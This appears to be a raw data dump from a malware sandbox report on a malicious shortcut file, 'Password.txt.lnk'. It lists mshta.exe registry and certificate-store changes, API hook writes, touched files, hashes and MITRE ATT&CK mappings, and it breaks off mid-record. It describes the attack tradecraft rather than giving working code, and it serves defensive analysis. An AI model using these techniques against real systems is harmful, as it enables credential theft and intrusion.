23:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 30:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 24:T402,"mshta.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "DISABLECACHINGOFSSLPAGES") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSSSLNOCACHECHECK") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSSSLNOCACHECHECK") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSHTTPNOCACHECHECK") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSHTTPNOCACHECHECK") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE"; Key: "SCAVENGECACHEFILELIMIT") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE"; Key: "SCAVENGECACHEFILELIMIT")25:T7af,"mshta.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "mshta.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "mshta.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "mshta.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "mshta.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "mshta.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "mshta.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "mshta.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "mshta.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "mshta.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "")26:T430,"mshta.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "mshta.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "mshta.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\2E4916B07F3DE90C8DDE2566FD9B9B400D89BBBA"; Key: "BLOB") "mshta.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "mshta.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E6A3B45B062D509B3382282D196EFE97D5956CCB"; Key: "BLOB") "mshta.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0"; Key: "BLOB") "mshta.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "mshta.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "")27:T56c,"mshta.exe" touched "HTML Document" (Path: "HKCU\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\INPROCSERVER32") "mshta.exe" touched "Microsoft HTA Document 6.0" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{3050F5C8-98B5-11CF-BB82-00AA00BDCE0B}\TREATAS") "mshta.exe" touched "Microsoft HTML About Pluggable Protocol" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{3050F406-98B5-11CF-BB82-00AA00BDCE0B}\TREATAS") "mshta.exe" touched "Browser Application State" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{E569BDE7-A8DC-47F3-893F-FD2B31B3EEFD}\TREATAS") "mshta.exe" touched "CActiveIMMAppEx_Trident" (Path: "HKCU\CLSID\{50D5107A-D278-4871-8989-F4CEAAF59CFC}\INPROCSERVER32") "mshta.exe" touched "PSOAInterface" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00020424-0000-0000-C000-000000000046}\TREATAS") "mshta.exe" touched "Microsoft Url History Service" (Path: "HKCU\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\TREATAS") "mshta.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}\PROGID") "mshta.exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\TREATAS") "mshta.exe" touched "Network List Manager" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}\LOCALSERVER32") "mshta.exe" touched "NetworkListManager" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\TREATAS")28:Ta06,"mshta.exe" monitors "\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinSock2\Parameters\Protocol_Catalog9" (Filter: 1; Subtree: 0) "mshta.exe" monitors "\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinSock2\Parameters\NameSpace_Catalog5" (Filter: 1; Subtree: 0) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\SystemCertificates\trust" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Policies\Microsoft\SystemCertificates" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\trust" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Trust" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\SystemCertificates\CA" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\SystemCertificates\Disallowed" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\SystemCertificates\TrustedPeople" (Filter: 5; Subtree: 1) "mshta.exe" monitors "\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople" (Filter: 5; Subtree: 1)29:T6bd,"mshta.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat" "mshta.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files" "mshta.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies" "mshta.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "mshta.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies\QDD7DRNH.txt" "mshta.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\3VOA5fd[1].htm" "mshta.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\ED4B4B67839C89883DD0BCD462FDA54E96FB79ED[1].svg" "mshta.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\53B03BEE40C746E8FC70731BA2B6902C0FA65CEA[1].svg" "mshta.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\counters.dat" "mshta.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files" "mshta.exe" touched file "%APPDATA%\Microsoft\Windows\Cookies" "mshta.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "mshta.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\3VOA5fd[1].htm" "mshta.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\ED4B4B67839C89883DD0BCD462FDA54E96FB79ED[1].svg" "mshta.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\53B03BEE40C746E8FC70731BA2B6902C0FA65CEA[1].svg"2a:T1686," Warning! | There might be a problem with the requested link

Warning: This URL has been blocked by Bitly's systems as potentially harmful.

We recommend you close your browser window and notify the person who sent you the link.

Why was this link blocked?

Bitly displays this warning when a link has been blocked. There are many reasons why a link may be blocked:

The link may be listed on a website blocklisting service.
The link may have been reported to Bitly by a member of the public.
The link may contain malware (software designed to harm your computer), attempt to collect your personal information for nefarious purposes, or otherwise contain harmful and/or illegal content.
The link may be attempting to hide the final destination.
The link may lead to a forgery of another website or may infringe the rights of others.

If you believe this link has been blocked in error, please contact Bitly via this form.

" (Indicator: "https://") "" (Indicator: "https://")2b:T4fe,"mshta.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "mshta.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "mshta.exe" trying to access non-existent file "C:\Program Files\Microsoft Office\Office14\outllib.dll" "mshta.exe" trying to access non-existent file "C:\Program Files\Microsoft Office\Office14\outllib.dll.DLL" "mshta.exe" trying to access non-existent file "C:\Windows\System32\mshta.exe.Local\" "mshta.exe" trying to access non-existent file "C:\Windows\System32\rasadhlp.dll" "mshta.exe" trying to access non-existent file "C:\Windows\System32\DXGIDebug.dll" "mshta.exe" trying to access non-existent file "C:\Windows\system32\DXGIDebug.dll" "mshta.exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL" "mshta.exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL" "mshta.exe" trying to access non-existent file "C:\Program Files\Microsoft Office\Office14\OUTLLIB.DLL" "mshta.exe" trying to access non-existent file "C:\Program Files\Microsoft Office\Office14\OUTLLIB.DLL.DLL" "mshta.exe" trying to access non-existent file "C:\Windows\System32\MSHTA.EXE.LOCAL"2c:T8c7,"mshta.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "mshta.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "mshta.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "mshta.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "mshta.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "mshta.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "mshta.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "mshta.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "mshta.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "mshta.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "mshta.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "mshta.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "mshta.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "mshta.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "mshta.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "mshta.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "mshta.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "mshta.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "mshta.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "mshta.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS")2d:T6a8,"mshta.exe" wrote bytes "e962e6c7fc" to virtual address "0x760B3C29" ("ShellExecuteW@SHELL32.DLL") "mshta.exe" wrote bytes "e93be31efd" to virtual address "0x75B4C810" ("InternetOpenW@WININET.DLL") "mshta.exe" wrote bytes "e7396277e1a666772e716677ee29667785e261776da06677906465773ad56c7726e46177d16d6677003d6477804b647700000000ad37a9758b2da975b641a97500000000" to virtual address "0x74ED1000" (part of module "WSHIP6.DLL") "mshta.exe" wrote bytes "e931452bfe" to virtual address "0x74A7E52A" ("GetIpNetTable@IPHLPAPI.DLL") "mshta.exe" wrote bytes "e9fbf3b4fb" to virtual address "0x771ECCF0" ("URLDownloadToFileA@URLMON.DLL") "mshta.exe" wrote bytes "e9bb7c24fd" to virtual address "0x75AF39C0" ("HttpOpenRequestW@WININET.DLL") "mshta.exe" wrote bytes "e97be41efd" to virtual address "0x75B4C280" ("InternetOpenA@WININET.DLL") "mshta.exe" wrote bytes "e90b0dbefb" to virtual address "0x7715B840" ("URLDownloadToFileW@URLMON.DLL") "mshta.exe" wrote bytes "e9ebf31cfd" to virtual address "0x75B6BBC0" ("HttpOpenRequestA@WININET.DLL") "mshta.exe" wrote bytes "75dcf476273ef47651c1f276ee9cf2769498f2760fb3f8761099f2769097f2760000000042c68a75152e8a75c0d98a751bf78a75c1088c75e0c28a7536da8a7530c68a75d5d98a7586c48a7500000000" to virtual address "0x6ED6E000" (part of module "MSLS31.DLL") "mshta.exe" wrote bytes "fae66177e1a666772e716677ee29667785e261776da0667726e46177d16d6677003d6477804b647700000000ad37a9758b2da975b641a97500000000" to virtual address "0x74981000" (part of module "WSHTCPIP.DLL") "mshta.exe" wrote bytes "e9bb95a4fc" to virtual address "0x762E8790" ("ShellExecuteA@SHELL32.DLL") "mshta.exe" wrote bytes "e99bc523fd" to virtual address "0x75AFF7D0" ("InternetReadFile@WININET.DLL")2e:T6f2,"mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "HU-HU") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "IT-IT") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "IT-IT") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "NL-NL") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "NL-NL") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "NB-NO") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "NB-NO") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "PL-PL") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "PL-PL") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "PT-BR") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "PT-BR") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "RU-RU") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "RU-RU") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "SK-SK") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "SK-SK") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "SV-SE") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "SV-SE") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "TR-TR")2f:T538,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAADr0lEQVR42u1XS0hUURgeauHCKIhKI/KF0qplr0VIUfTCMkyLoEUKLsSCShcVhQU9wMBxNJ1cBW0yywk3ToqIWI7COLhRUibKF6VTOc7jzty59/r1n3PnqTk+5kKbDn5cj8M53+P/z7mOTvd//B9/GSMjIwjB7Raw2rnVakVPTy8sFgsSFrCwAMzM/ER390c4nW4oihJ3Lssy7HY7zbvx9m2rNgLM5i6+0djYF04YO5dj5kzA7OwsenvVBEpKSqBdAnOuWMc0Z4SL5wyDg4OYmppCf38/SktLkYCAhSAUTh6BHCaLhcRhs9kQCATgcDgwMDCA8vJyrFtALPHKQiRJQl9fH7xeLzweDyYnJ9HZ2Yni4mKsWcBayUMC2tra0NLSgubmZg6TyYT29nZomMDyJWACJCnAwfZg5WCnwmw2r13AlMOJ/pFvmoCdjgQTiN94qnPVPWvACEQOtv6fJsD2WmcCq3W+2L0YhiiKfM2yZGXXbqCionJdeFytTzwBtpEbgEOmmy8A0A8EciHRMx7YYGtDXR/tnLlW4eeImwDbZJbIx13Ady9w76UFyceeIfWsAdkXXyDnkjGMnfn1yKG/ecUA/AGJC9AkAYcCfJ1TMOlSE3jXa0dmUQNSzxmQVtCItAvPCQ3YdkaP9HwDJIVeFFjgAqK7frHzVSfwkwSMk4AJJ6UgAD6fD1WvLNh6qgbphY3ICGI7Ccgu0GufABMwQe5ZAlQNfLBNILPQiPQLEfKMIiN2cAG1kIMvKjWB6I6PuPb7Q/DxExNXwG+o5B56Wu2/sedyE3YXPCdiIyfffb4eu/LrKIEa5JAAj1/jBOaIeMYHuCmJ07dasD3PgKyiRh5/ap4eKaeqqfZ6JB95gqz8miUJRNc+5DoaKyYwTwLoAKBneAYpebXUgMYw+YaDVXjdNQzL8DR0B+4j5cRT7XuA3QNkHvWmIWw5WcMFsMg3HqqC4c1A+J+Ttk+j2Jz7kJ+CUAKxdfctAWtodlPGFeAJXiyG1iFsOv6Mmq8BSbmPUFnXAYHqPU+O5+nJfn/f85knIGqZgDd4u3XYppF0tJrKYEAq1d3h8nOnHkmh21GBX1adR/dAbNdHXKsQOFZMwE/kTrqBqA9xuOwVdHvvYN/VJu7YQ27nBBFOwjzB5RP5KdA0AZGIf/nUFBwuERfvNEO3/x6uPDDBOvoDIrkVyX2Aas/qH53AUufCEqyYABsyIoMtEASBvvW4lwX7nK1N+GvYtes31/06vn33bsIC/gBx1GgeJiUTtgAAAABJRU5ErkJggg==1b:["$","$L2",null,{"children":[null,["$","$L23",null,{"initialData":{"schema_version":"1.0.15","sha256":"741be5e53a5dc7cebaa63d6ff624c5eff1a0e1817ede1e7fc0473a28b1ed7a33","overall_status":"IN_PROGRESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"IN_PROGRESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791639158179,"unified_at":"2026-10-10T13:32:38.179Z","metadata":{"hashes":{"sha256":"741be5e53a5dc7cebaa63d6ff624c5eff1a0e1817ede1e7fc0473a28b1ed7a33","sha1":"fd55d8f88263e2380d409934e6fa7efd6b8d39ec","md5":"c714eb4dfe9ad1bc58e4cf798f24e0a0","sha512":"220d76de19262ed56bc0c71f9184fb881d4a9c3ac6fc8cd6010919e6709f9cd6db83d43327b274022957a0f87a50413c4dac2afca24274d98e8ac92690fe04b6","ssdeep":"24:8wJPtYV8AyibO3oE+/aP5o594I09M1sdJmhD:8mGxLREDIxsdJS","ssdeep_chunks":["24:8wJPtYV","24:wJPtYV8","24:JPtYV8A","24:PtYV8Ay","24:tYV8Ayi","24:YV8Ayib","24:V8AyibO","24:8AyibO3","24:AyibO3o","24:yibO3oE","24:ibO3oE+","24:bO3oE+/","24:O3oE+/a","24:3oE+/aP","24:oE+/aP5","24:E+/aP5o","24:+/aP5o5","24:/aP5o59","24:aP5o594","24:P5o594I","24:5o594I0","24:o594I09","24:594I09M","24:94I09M1","24:4I09M1s","24:I09M1sd","24:09M1sdJ","24:9M1sdJm","24:M1sdJmh","24:1sdJmhD","48:8wJPtYV","48:wJPtYV8","48:JPtYV8A","48:PtYV8Ay","48:tYV8Ayi","48:YV8Ayib","48:V8AyibO","48:8AyibO3","48:AyibO3o","48:yibO3oE","48:ibO3oE+","48:bO3oE+/","48:O3oE+/a","48:3oE+/aP","48:oE+/aP5","48:E+/aP5o","48:+/aP5o5","48:/aP5o59","48:aP5o594","48:P5o594I","48:5o594I0","48:o594I09","48:594I09M","48:94I09M1","48:4I09M1s","48:I09M1sd","48:09M1sdJ","48:9M1sdJm","48:M1sdJmh","48:1sdJmhD","24:8mGxLRE","24:mGxLRED","24:GxLREDI","24:xLREDIx","24:LREDIxs","24:REDIxsd","24:EDIxsdJ","24:DIxsdJS"],"imphash":"Unknown"},"file_info":{"file_name":"Password.txt.lnk","file_type":["lnk"],"file_type_id":"file link","file_size":2001,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1669836806000,"last_seen":1677851322000,"last_multi_scan":1677851322000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":0,"suspicious_count":0,"total_engines":0},"attributions":{"malware_families_count":0,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":13},"sandbox_signatures":{"informative_count":47,"suspicious_count":4,"malicious_count":3,"total":54},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{}},"rule_matches":{},"attributions":{},"mitre_attacks":[{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Modifies proxy settings"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"informative","value":"Installs hooks/patches the running process"},{"type":"suspicious","value":"Hooks internet related APIs"},{"type":"informative","value":"Hooks API calls"}],"sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Calls an API typically used for keylogging"}],"sources":[{"report_type":"sandbox","report_id":"6389ec1f327cc91d633aed41"}]},{"tactic":"Discovery","technique":"Query 